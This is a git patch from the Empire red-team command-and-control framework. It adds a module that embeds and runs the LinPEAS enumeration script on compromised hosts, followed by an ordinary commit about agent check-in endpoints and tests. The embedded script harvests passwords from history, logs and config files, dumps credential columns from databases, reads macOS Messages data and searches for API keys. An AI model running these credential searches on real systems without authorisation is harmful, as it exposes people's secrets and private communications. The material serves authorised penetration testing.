Modified interesting files into specific folders in the last 5mins +print_2title "Modified interesting files in the last 5mins (limit 100)" +find $ROOT_FOLDER -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" ! -path "/private/var/*" 2>/dev/null | grep -v "/linpeas" | head -n 100 | sed -${E} "s,$Wfolders,${SED_RED}," +echo "" + +##-- IF) Writable log files +if command -v logrotate >/dev/null && logrotate --version | head -n 1 | grep -Eq "[012]\.[0-9]+\.|3\.[0-9]\.|3\.1[0-7]\.|3\.18\.0"; then #3.18.0 and below +print_2title "Writable log files (logrotten) (limit 50)" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#logrotate-exploitation" + logrotate --version 2>/dev/null || echo_not_found "logrotate" + lastWlogFolder="ImPOsSiBleeElastWlogFolder" + logfind=$(find $ROOT_FOLDER -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 50) + printf "%s\n" "$logfind" | while read log; do + if ! [ "$IAMROOT" ] && [ "$log" ] && [ -w "$log" ] || ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders"; then #Only print info if something interesting found + if echo "$log" | grep -q "You_can_write_more_log_files_inside_last_directory"; then printf $ITALIC"$log\n"$NC; + elif ! [ "$IAMROOT" ] && [ -w "$log" ] && [ "$(command -v logrotate 2>/dev/null)" ] && logrotate --version 2>&1 | grep -qE ' 1| 2| 3.1'; then printf "Writable:$RED $log\n"$NC; #Check vuln version of logrotate is used and print red in that case + elif ! [ "$IAMROOT" ] && [ -w "$log" ]; then echo "Writable: $log"; + elif ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders" && [ "$log" ] && [ ! "$lastWlogFolder" == "$log" ]; then lastWlogFolder="$log"; echo "Writable folder: $log" | sed -${E} "s,$Wfolders,${SED_RED},g"; + fi + fi + done +fi + +echo "" + +if ! [ "$SEARCH_IN_FOLDER" ]; then + ##-- IF) Files inside my home + print_2title "Files inside $HOME (limit 20)" + (ls -la $HOME 2>/dev/null | head -n 23) || echo_not_found + echo "" + + ##-- IF) Files inside /home + print_2title "Files inside others home (limit 20)" + (find $HOMESEARCH -type f 2>/dev/null | grep -v -i "/"$USER | head -n 20) || echo_not_found + echo "" + + ##-- IF) Mail applications + print_2title "Searching installed mail applications" + ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi "$mail_apps" | sort | uniq + echo "" + + ##-- IF) Mails + print_2title "Mails (limit 50)" + (find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50 | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_GREEN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found + echo "" + + ##-- IF) Backup folders + if [ "$backup_folders" ] || [ "$DEBUG" ]; then + print_2title "Backup folders" + printf "%s\n" "$backup_folders" | while read b ; do + ls -ld "$b" 2> /dev/null | sed -${E} "s,backups|backup,${SED_RED},g"; + ls -l "$b" 2>/dev/null && echo "" + done + echo "" + fi +fi + +##-- IF) Backup files +print_2title "Backup files (limited 100)" +backs=$(find $ROOT_FOLDER -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bak\.*" -o -name "*\.bck" -o -name "*\.bck\.*" -o -name "*\.bk" -o -name "*\.bk\.*" -o -name "*\.old" -o -name "*\.old\.*" \) -not -path "/proc/*" 2>/dev/null) +printf "%s\n" "$backs" | head -n 100 | while read b ; do + if [ -r "$b" ]; then + ls -l "$b" | grep -Ev "$notBackup" | grep -Ev "$notExtensions" | sed -${E} "s,backup|bck|\.bak|\.old,${SED_RED},g"; + fi; +done +echo "" + +##-- IF) DB files +if [ "$MACPEAS" ]; then + print_2title "Reading messages database" + sqlite3 $HOME/Library/Messages/chat.db 'select * from message' 2>/dev/null + sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment' 2>/dev/null + sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages' 2>/dev/null + +fi + + +if [ "$PSTORAGE_DATABASE" ] || [ "$DEBUG" ]; then + print_2title "Searching tables inside readable .db/.sql/.sqlite files (limit 100)" + FILECMD="$(command -v file 2>/dev/null)" + printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do + if [ "$FILECMD" ]; then + echo "Found "$(file "$f") | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g"; + else + echo "Found $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g"; + fi + done + SQLITEPYTHON="" + echo "" + printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do + if ([ -r "$f" ] && [ "$FILECMD" ] && file "$f" | grep -qi sqlite) || ([ -r "$f" ] && [ ! "$FILECMD" ]); then #If readable and filecmd and sqlite, or readable and not filecmd + if [ "$(command -v sqlite3 2>/dev/null)" ]; then + tables=$(sqlite3 $f ".tables" 2>/dev/null) + #printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g" + elif [ "$(command -v python 2>/dev/null)" ] || [ "$(command -v python3 2>/dev/null)" ]; then + SQLITEPYTHON=$(command -v python 2>/dev/null || command -v python3 2>/dev/null) + tables=$($SQLITEPYTHON -c "print('\n'.join([t[0] for t in __import__('sqlite3').connect('$f').cursor().execute('SELECT name FROM sqlite_master WHERE type=\'table\' and tbl_name NOT like \'sqlite_%\';').fetchall()]))" 2>/dev/null) + #printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g" + else + tables="" + fi + if [ "$tables" ] || [ "$DEBUG" ]; then + printf $GREEN" -> Extracting tables from$NC $f $DG(limit 20)\n"$NC + printf "%s\n" "$tables" | while read t; do + columns="" + # Search for credentials inside the table using sqlite3 + if [ -z "$SQLITEPYTHON" ]; then + columns=$(sqlite3 $f ".schema $t" 2>/dev/null | grep "CREATE TABLE") + # Search for credentials inside the table using python + else + columns=$($SQLITEPYTHON -c "print(__import__('sqlite3').connect('$f').cursor().execute('SELECT sql FROM sqlite_master WHERE type!=\'meta\' AND sql NOT NULL AND name =\'$t\';').fetchall()[0][0])" 2>/dev/null) + fi + #Check found columns for interesting fields + INTCOLUMN=$(echo "$columns" | grep -i "username\|passw\|credential\|email\|hash\|salt") + if [ "$INTCOLUMN" ]; then + printf ${BLUE}" --> Found interesting column names in$NC $t $DG(output limit 10)\n"$NC | sed -${E} "s,user.*|credential.*,${SED_RED},g" + printf "$columns\n" | sed -${E} "s,username|passw|credential|email|hash|salt|$t,${SED_RED},g" + (sqlite3 $f "select * from $t" || $SQLITEPYTHON -c "print(', '.join([str(x) for x in __import__('sqlite3').connect('$f').cursor().execute('SELECT * FROM \'$t\';').fetchall()[0]]))") 2>/dev/null | head + echo "" + fi + done + fi + fi + done +fi +echo "" + +if [ "$MACPEAS" ]; then + print_2title "Downloaded Files" + sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select LSQuarantineAgentName, LSQuarantineDataURLString, LSQuarantineOriginURLString, date(LSQuarantineTimeStamp + 978307200, "unixepoch") as downloadedDate from LSQuarantineEvent order by LSQuarantineTimeStamp' | sort | grep -Ev "\|\|\|" +fi + +##-- IF) Web files +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Web files?(output limit)" + ls -alhR /var/www/ 2>/dev/null | head + ls -alhR /srv/www/htdocs/ 2>/dev/null | head + ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head + ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head + echo "" +fi + +##-- IF) All hidden files +print_2title "All relevant hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)" +find $ROOT_FOLDER -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES" | grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme|\.travis.yml" | head -n 70 +echo "" + +##-- IF) Readable files in /tmp, /var/tmp, backups +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)" + filstmpback=$(find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | grep -Ev "dpkg\.statoverride\.|dpkg\.status\.|apt\.extended_states\.|dpkg\.diversions\." | head -n 70) + printf "%s\n" "$filstmpback" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null; fi; done + echo "" +fi + +##-- IF) Passwords in history cmd +if [ "$(history 2>/dev/null)" ] || [ "$DEBUG" ]; then + print_2title "Searching passwords in history cmd" + history | grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED}," + echo "" +fi + +##-- IF) Passwords in history files +if [ "$PSTORAGE_HISTORY" ] || [ "$DEBUG" ]; then + print_2title "Searching passwords in history files" + printf "%s\n" "$PSTORAGE_HISTORY" | while read f; do grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"; done + echo "" +fi + +##-- IF) Passwords in config PHP files +if [ "$PSTORAGE_PHP_FILES" ] || [ "$DEBUG" ]; then + print_2title "Searching passwords in config PHP files" + printf "%s\n" "$PSTORAGE_PHP_FILES" | while read c; do grep -EiI "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" "$c" 2>/dev/null | grep -Ev "function|password.*= ?\"\"|password.*= ?''" | sed '/^.\{150\}./d' | sort | uniq | sed -${E} "s,[pP][aA][sS][sS][wW]|[dD][bB]_[pP][aA][sS][sS],${SED_RED},g"; done + echo "" +fi + +##-- IF) Passwords files in home +if [ "$PSTORAGE_PASSWORD_FILES" ] || [ "$DEBUG" ]; then + print_2title "Searching *password* or *credential* files in home (limit 70)" + (printf "%s\n" "$PSTORAGE_PASSWORD_FILES" | grep -v "/snap/" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (cont < 3){ print line_init; } if (cont == "3"){print " #)There are more creds/passwds files in the previous parent folder\n"}; if (act == pre){(cont += 1)} else {cont=0}; pre=act }' | head -n 70 | sed -${E} "s,password|credential,${SED_RED}," | sed "s,There are more creds/passwds files in the previous parent folder,${C}[3m&${C}[0m,") || echo_not_found + echo "" +fi + +##-- IF) TTY passwords +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Checking for TTY (sudo/su) passwords in audit logs" + aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${SED_RED},g" + find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${SED_RED},g" | sed -${E} "s,data=.*,${SED_RED},g" + echo "" +fi + +##-- IF) IPs inside logs +if [ "$DEBUG" ] || ( ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$SEARCH_IN_FOLDER" ] ); then + print_2title "Searching IPs inside logs (limit 70)" + (find /var/log/ /var/logs /private/var/log -type f -exec grep -R -a -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" "{}" \;) 2>/dev/null | grep -v "\.0\.\|:0\|\.0$" | sort | uniq -c | sort -r -n | head -n 70 + echo "" +fi + +##-- IF) Passwords inside logs +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Searching passwords inside logs (limit 70)" + (find /var/log/ /var/logs/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|modules-config/config-set-passwords\|config-set-passwords already ran\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED}," + echo "" +fi + +if [ "$DEBUG" ] || ( ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$SEARCH_IN_FOLDER" ] ); then + ##-- IF) Emails inside logs + print_2title "Searching emails inside logs (limit 70)" + (find /var/log/ /var/logs/ /private/var/log -type f -exec grep -I -R -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" "{}" \;) 2>/dev/null | sort | uniq -c | sort -r -n | head -n 70 | sed -${E} "s,$knw_emails,${SED_GREEN},g" + echo "" +fi + +if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then + ##-- IF) Find possible files with passwords + print_2title "Searching possible password variables inside key folders (limit 140)" + if ! [ "$SEARCH_IN_FOLDER" ]; then + timeout 150 find $HOMESEARCH -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" & + timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" & + else + timeout 150 find $SEARCH_IN_FOLDER -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" & + fi + wait + echo "" + + ##-- IF) Find possible conf files with passwords + print_2title "Searching possible password in config files (if k8s secrets are found you need to read the file)" + if ! [ "$SEARCH_IN_FOLDER" ]; then + ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null) + else + ppicf=$(timeout 150 find $SEARCH_IN_FOLDER -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null) + fi + printf "%s\n" "$ppicf" | while read f; do + if grep -qEiI 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' \"$f\" 2>/dev/null; then + echo "$ITALIC $f$NC" + grep -HnEiIo 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' "$f" 2>/dev/null | sed -${E} "s,[pP][aA][sS][sS][wW]|[cC][rR][eE][dD][eE][nN],${SED_RED},g" + fi + done + echo "" +fi + +fi +echo '' +echo '' +if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi + +if echo $CHECKS | grep -q api_keys_regex; then +print_title "API Keys Regex" + +search_for_regex(){ + title=$1 + regex=$2 + caseSensitive=$3 + + if [ "$caseSensitive" ]; then + i="i" + else + i="" + fi + + print_3title_no_nl "Searching $title..." + + if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + else + # Search in home direcoties (usually the slowest) + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + + # Search in etc + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + + # Search in opt + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + + # Search in possible web folders (usually only 1 will exist) + timeout 120 find /var/www /usr/local/www /usr/share/nginx /Library/WebServer/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + + # Search in logs + timeout 120 find /var/log /var/logs /Library/Logs -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + + # Search in backups + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + + # Search in others folders (usually only /srv or /Applications will exist) + timeout 120 find /tmp /srv /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + fi + wait + printf "\033[2K\r" +} + + + +if [ "$REGEXES" ] && [ "$TIMEOUT" ]; then + peass{REGEXES} +else + echo "Regexes to search for API keys aren't activated, use param '-r' " +fi +fi +echo '' +echo '' +if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi +""") + +# Create a temporary file and write the shell script to it +with tempfile.NamedTemporaryFile(mode='w', delete=False) as temp: + temp.write(script) + temp_name = temp.name + +# Use subprocess to run the shell script and capture the output +process = subprocess.Popen(['/bin/sh', temp_name], stdout=subprocess.PIPE, stderr=subprocess.PIPE) +stdout, stderr = process.communicate() + +# Print the output +print(stdout.decode('latin-1')) + +# Don't forget to remove the temporary file when you're done with it! +os.remove(temp_name) \ No newline at end of file diff --git a/empire/server/modules/python/situational_awareness/host/multi/linpeas.yaml b/empire/server/modules/python/situational_awareness/host/multi/linpeas.yaml new file mode 100644 index 000000000..f5260fb44 --- /dev/null +++ b/empire/server/modules/python/situational_awareness/host/multi/linpeas.yaml @@ -0,0 +1,24 @@ +name: LinPEAS +authors: + - name: Anthony Rose + handle: Cx01N + link: https://twitter.com/Cx01N_ +description: LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix*/MacOS hosts. +software: '' +tactics: [] +techniques: + - T1046 +background: true +output_extension: +needs_admin: false +opsec_safe: true +language: python +min_language_version: '3' +comments: + - https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS +options: + - name: Agent + description: Agent to run on. + required: true + value: '' +script_path: python/situational_awareness/LinPEAS.py From 5af431c3918d14fca8db64433b9108e79ab8fa76 Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Thu, 8 Jun 2023 22:13:29 -0700 Subject: [PATCH 05/36] Agent checkins (#618) * initial work on checkin data * fix starkiller commit * update sqlalchemy, use hybrid expressins for stale and lastseen * fix tests * gettinga bit more efficient * fix tests post-merge * fixes for test shutdown, insert checkins faster * update performance test * refactoring test fixtures * refactor tests, stub aggregate endpoints * get basic aggregate functionality * fix formatting * fix aggregate tests, disable aggregeate functions for sqlite' * test timezone handling * changelog * working through cleaning up diff * add a 'slow' marker for tests. update pytest to v7 minimum * fix some todos, add others * assert response time * make 3.8 compatible * calm the logging * try to fix reset hanging issue * adjust response times for slower machines * give more breathing room to the slower ci machines * fix 204 response * fix database deletion * upgrade sqlalchemy-utc to suppress all the cache_ok warnings * bump timeout to 30 min temporarily * remove a couple duplicate steps * fix changelog --- .github/CONTRIBUTING.md | 8 +- .github/docker-compose.yml | 4 +- .github/workflows/lint-and-test.yml | 6 +- CHANGELOG.md | 5 + conftest.py | 21 + empire/server/api/v2/agent/agent_api.py | 99 +++- empire/server/api/v2/agent/agent_dto.py | 48 +- empire/server/api/v2/module/module_api.py | 8 +- empire/server/common/agents.py | 17 +- empire/server/core/agent_service.py | 112 +++- empire/server/core/agent_task_service.py | 6 +- empire/server/core/db/base.py | 38 +- empire/server/core/db/models.py | 129 +++-- empire/server/core/plugin_service.py | 4 +- empire/server/server.py | 10 + empire/test/conftest.py | 92 ++- empire/test/test_agent_api.py | 10 +- empire/test/test_agent_checkins_api.py | 284 ++++++++++ empire/test/test_agent_file_api.py | 177 +++--- empire/test/test_agent_task_api.py | 158 ++---- empire/test/test_agent_task_service.py | 79 +-- empire/test/test_agents.py | 89 ++- empire/test/test_common_agents.py | 69 +-- empire/test/test_hooks_internal.py | 188 +++---- empire/test/test_host_api.py | 26 +- empire/test/test_host_process_api.py | 124 ++-- empire/test/test_modules.py | 89 +-- empire/test/test_obfuscation_api.py | 3 + empire/test/test_server_config.yaml | 2 +- empire/test/test_zz_reset.py | 5 +- poetry.lock | 657 +++++++++++----------- pyproject.toml | 6 +- pytest.ini | 3 + 33 files changed, 1428 insertions(+), 1148 deletions(-) create mode 100644 conftest.py create mode 100644 empire/test/test_agent_checkins_api.py create mode 100644 pytest.ini diff --git a/.github/CONTRIBUTING.md b/.github/CONTRIBUTING.md index 937201e9f..d8594e136 100644 --- a/.github/CONTRIBUTING.md +++ b/.github/CONTRIBUTING.md @@ -44,4 +44,10 @@ The more information you provide in a Github issue the easier it will be for us 3. run `ruff . --fix` (or `poetry run ruff . --fix`). * The repo is also configured to use [pre-commit](https://pre-commit.com/) to automatically format code. * Once you have pre-commit installed, you can run `pre-commit install` to install the pre-commit hooks. - * Then pre-commit will execute black, isort, and ruff automatically before committing. \ No newline at end of file + * Then pre-commit will execute black, isort, and ruff automatically before committing. + +## Tests + +Please write tests for your code! We use [pytest](https://docs.pytest.org/en/latest/) for testing. Tests are located in the `tests/` directory. To run the tests, run `pytest` from the root directory of the project. + +For tests that take >20-30 seconds, please add the `@pytest.mark.slow` decorator to the test function. This will allow us to skip the slow tests when running the tests, unless we explicitly want to run them with `pytest --runslow`. \ No newline at end of file diff --git a/.github/docker-compose.yml b/.github/docker-compose.yml index a8ce5df4d..f864c5772 100644 --- a/.github/docker-compose.yml +++ b/.github/docker-compose.yml @@ -13,9 +13,9 @@ services: entrypoint: /bin/bash platform: linux/amd64 command: > - -c "DATABASE_USE=sqlite poetry run python -m pytest . + -c "DATABASE_USE=sqlite poetry run python -m pytest . --runslow && sed -i 's/localhost:3306/db:3306/g' empire/test/test_server_config.yaml - && DATABASE_USE=mysql poetry run python -m pytest ." + && DATABASE_USE=mysql poetry run python -m pytest . --runslow" db: image: mysql:8.0 restart: always diff --git a/.github/workflows/lint-and-test.yml b/.github/workflows/lint-and-test.yml index 42182dffc..201fe6813 100644 --- a/.github/workflows/lint-and-test.yml +++ b/.github/workflows/lint-and-test.yml @@ -37,7 +37,7 @@ jobs: needs: - matrix-prep-config - lint - timeout-minutes: 15 + timeout-minutes: 30 runs-on: ubuntu-latest name: Test Python ${{ matrix.python-version }} strategy: @@ -76,11 +76,11 @@ jobs: poetry install - name: Run test suite - mysql run: | - DATABASE_USE=mysql poetry run pytest . -v + DATABASE_USE=mysql poetry run pytest . -v --runslow - name: Run test suite - sqlite if: ${{ startsWith(github.head_ref, 'release/') || contains(github.event.pull_request.labels.*.name, 'test-sqlite') }} run: | - DATABASE_USE=sqlite poetry run pytest . -v + DATABASE_USE=sqlite poetry run pytest . -v --runslow test_image: # To save CI time, only run these tests on the release PRs diff --git a/CHANGELOG.md b/CHANGELOG.md index e10f2056f..291cbc75d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,11 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +- Break out agent checkins to a new table (@Vinnybod) + - New checkins endpoint to get them as a list + - New checkins aggregate endpoint to get aggregated checkin data + - Aggregate endpoint not supported with SQLite +- Add a warning message about using SQLite - Added LinPEAS to Python modules (@Cx01N) - Added python obfusscation using python-obfuscator (@Cx01N) - Added IronPython SMB Agents/Listener (@Cx01N) diff --git a/conftest.py b/conftest.py new file mode 100644 index 000000000..e446d0a1c --- /dev/null +++ b/conftest.py @@ -0,0 +1,21 @@ +import pytest + + +def pytest_addoption(parser): + parser.addoption( + "--runslow", action="store_true", default=False, help="run slow tests" + ) + + +def pytest_configure(config): + config.addinivalue_line("markers", "slow: mark test as slow to run") + + +def pytest_collection_modifyitems(config, items): + if config.getoption("--runslow"): + # --runslow given in cli: do not skip slow tests + return + skip_slow = pytest.mark.skip(reason="need --runslow option to run") + for item in items: + if "slow" in item.keywords: + item.add_marker(skip_slow) diff --git a/empire/server/api/v2/agent/agent_api.py b/empire/server/api/v2/agent/agent_api.py index a6b86bc32..4f67b1467 100644 --- a/empire/server/api/v2/agent/agent_api.py +++ b/empire/server/api/v2/agent/agent_api.py @@ -1,16 +1,30 @@ -from fastapi import Depends, HTTPException +import math +from datetime import datetime +from typing import List, Optional + +from fastapi import Depends, HTTPException, Query from sqlalchemy.orm import Session from empire.server.api.api_router import APIRouter from empire.server.api.jwt_auth import get_current_active_user from empire.server.api.v2.agent.agent_dto import ( Agent, + AgentCheckIns, + AgentCheckInsAggregate, Agents, AgentUpdateRequest, + AggregateBucket, domain_to_dto_agent, + domain_to_dto_agent_checkin, + domain_to_dto_agent_checkin_agg, ) from empire.server.api.v2.shared_dependencies import get_db -from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse +from empire.server.api.v2.shared_dto import ( + BadRequestResponse, + NotFoundResponse, + OrderDirection, +) +from empire.server.core.config import empire_config from empire.server.core.db import models from empire.server.server import main @@ -36,6 +50,57 @@ async def get_agent(uid: str, db: Session = Depends(get_db)): raise HTTPException(404, f"Agent not found for id {uid}") +@router.get("/checkins", response_model=AgentCheckIns) +def read_agent_checkins_all( + db: Session = Depends(get_db), + agents: List[str] = Query(None), + limit: int = 1000, + page: int = 1, + start_date: Optional[datetime] = None, + end_date: Optional[datetime] = None, + order_direction: OrderDirection = OrderDirection.desc, +): + checkins, total = agent_service.get_agent_checkins( + db, agents, limit, (page - 1) * limit, start_date, end_date, order_direction + ) + checkins = list(map(lambda x: domain_to_dto_agent_checkin(x), checkins)) + + return AgentCheckIns( + records=checkins, + page=page, + total_pages=math.ceil(total / limit), + limit=limit, + total=total, + ) + + +@router.get("/checkins/aggregate", response_model=AgentCheckInsAggregate) +def read_agent_checkins_aggregate( + db: Session = Depends(get_db), + agents: List[str] = Query(None), + start_date: Optional[datetime] = None, + end_date: Optional[datetime] = None, + bucket_size: Optional[AggregateBucket] = AggregateBucket.day, +): + if empire_config.database.use == "sqlite": + raise HTTPException( + 400, + "Aggregate checkins not supported with sqlite. Please use MySQL.", + ) + + checkins = agent_service.get_agent_checkins_aggregate( + db, agents, start_date, end_date, bucket_size + ) + checkins = list(map(lambda x: domain_to_dto_agent_checkin_agg(x), checkins)) + + return AgentCheckInsAggregate( + records=checkins, + start_date=start_date, + end_date=end_date, + 